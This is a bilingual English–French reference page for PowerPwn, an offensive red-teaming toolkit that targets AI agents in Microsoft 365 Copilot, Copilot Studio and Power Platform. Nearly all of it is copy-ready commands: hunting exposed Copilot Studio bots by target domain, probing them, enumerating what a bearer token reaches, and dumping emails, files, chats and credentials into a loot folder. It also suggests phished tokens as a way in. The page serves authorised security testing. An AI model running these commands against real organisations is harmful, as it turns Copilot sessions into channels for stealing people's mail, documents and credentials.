PowerPwn

Boîte à outils offensive pour la découverte et l'évaluation des agents IA sur Microsoft 365, Copilot, Copilot Studio et Power Platform, incluant la chasse aux bots Copilot Studio et l'exfiltration de données via des sessions Copilot compromises. Offensive toolset for discovery and assessment of AI agents across Microsoft 365, Copilot, Copilot Studio, and Power Platform, including Copilot Studio bot hunting and data exfiltration via compromised Copilot sessions.

↗ https://github.com/mbrg/power-pwn

Overview

PowerPwn (by Zenity researcher Michael Bargury) targets the AI-agent surface Microsoft has bolted onto Microsoft 365 and Power Platform. Its modules cover the full chain from recon to impact: finding exposed/misconfigured Copilot Studio bots on the internet, enumerating exactly what a compromised or authenticated Copilot session can reach, and pulling accessible files, emails, and credentials out through that Copilot session. It’s the go-to tool for red-teaming “my org gave Copilot access to everything” scenarios, which are increasingly common as enterprises roll out agentic Copilot features.

Installation

pip install powerpwn

Copilot Studio Hunter

Discover publicly exposed Copilot Studio bots by domain/keyword

powerpwn copilotstudio hunter recon --domain <target_org.com>

Attempt to talk to discovered bots and log responses

powerpwn copilotstudio hunter attack --bots-file results/bots.json

Copilot M365 Whoami

Enumerate what an authenticated Copilot session can access

powerpwn copilotm365 whoami --token <bearer_token>

Copilot M365 Dump

Exfiltrate files/emails/credentials reachable via the Copilot session

powerpwn copilotm365 dump --token <bearer_token> --output loot/

Target a specific data category only

powerpwn copilotm365 dump --token <bearer_token> --category emails --output loot/emails.json

Tips

  • whoami before dump — it tells you the blast radius (SharePoint sites, mailboxes, Teams chats) before you exfiltrate anything, useful for scoping what to report.
  • Copilot Studio Hunter’s recon mode is passive/OSINT-style and safe for wide sweeps; attack actually interacts with discovered bots and should be scoped to in-scope targets only.
  • Requires a valid M365/Entra session token for the Copilot modules — obtain one through the engagement’s agreed access path (phished token, service account, etc.), PowerPwn doesn’t get you initial access on its own.
Help / Man page
usage: powerpwn <module> <command> [OPTIONS]

modules:
  copilotstudio    recon and attack Copilot Studio bots
  copilotm365      assess an authenticated Microsoft 365 Copilot session
  powerautomate    enumerate/abuse Power Automate flows and connectors
  powerapps        enumerate exposed Power Apps

copilotstudio hunter:
  recon --domain DOMAIN            discover exposed bots for a domain
  attack --bots-file FILE          probe discovered bots

copilotm365:
  whoami --token TOKEN              enumerate accessible resources
  dump --token TOKEN --output DIR   exfiltrate accessible data
       [--category files|emails|chats|all]

global options:
  --proxy URL          route traffic through a proxy
  --verbose             verbose logging
  --output-format json|csv

Vue d’ensemble

PowerPwn (par le chercheur Zenity Michael Bargury) cible la surface d’attaque des agents IA que Microsoft a greffée sur Microsoft 365 et Power Platform. Ses modules couvrent toute la chaîne, de la reconnaissance à l’impact : trouver les bots Copilot Studio exposés/mal configurés sur Internet, énumérer précisément ce qu’une session Copilot compromise ou authentifiée peut atteindre, et extraire les fichiers, e-mails et identifiants accessibles via cette session Copilot. C’est l’outil de référence pour le red-teaming des scénarios « mon organisation a donné à Copilot l’accès à tout », de plus en plus courants à mesure que les entreprises déploient les fonctionnalités agentiques de Copilot.

Installation

pip install powerpwn

Copilot Studio Hunter

# Découvrir les bots Copilot Studio exposés publiquement par domaine/mot-clé
powerpwn copilotstudio hunter recon --domain <target_org.com>

# Tenter de dialoguer avec les bots découverts et journaliser les réponses
powerpwn copilotstudio hunter attack --bots-file results/bots.json

Copilot M365 Whoami

Énumérer ce à quoi une session Copilot authentifiée peut accéder

powerpwn copilotm365 whoami --token <bearer_token>

Copilot M365 Dump

# Exfiltrer les fichiers/e-mails/identifiants accessibles via la session Copilot
powerpwn copilotm365 dump --token <bearer_token> --output loot/

# Cibler uniquement une catégorie de données spécifique
powerpwn copilotm365 dump --token <bearer_token> --category emails --output loot/emails.json

Conseils

  • whoami avant dump : cela indique le rayon d’impact (sites SharePoint, boîtes mail, discussions Teams) avant toute exfiltration, utile pour cadrer ce qui sera rapporté.
  • Le mode recon de Copilot Studio Hunter est passif/OSINT et sûr pour des balayages larges ; attack interagit réellement avec les bots découverts et doit être limité aux cibles dans le périmètre.
  • Les modules Copilot nécessitent un token de session M365/Entra valide : obtenez-le via le chemin d’accès convenu pour la mission (token phishé, compte de service, etc.), PowerPwn ne fournit pas d’accès initial à lui seul.
Aide / Page de manuel
usage: powerpwn <module> <command> [OPTIONS]

modules:
  copilotstudio    recon and attack Copilot Studio bots
  copilotm365      assess an authenticated Microsoft 365 Copilot session
  powerautomate    enumerate/abuse Power Automate flows and connectors
  powerapps        enumerate exposed Power Apps

copilotstudio hunter:
  recon --domain DOMAIN            discover exposed bots for a domain
  attack --bots-file FILE          probe discovered bots

copilotm365:
  whoami --token TOKEN              enumerate accessible resources
  dump --token TOKEN --output DIR   exfiltrate accessible data
       [--category files|emails|chats|all]

global options:
  --proxy URL          route traffic through a proxy
  --verbose             verbose logging
  --output-format json|csv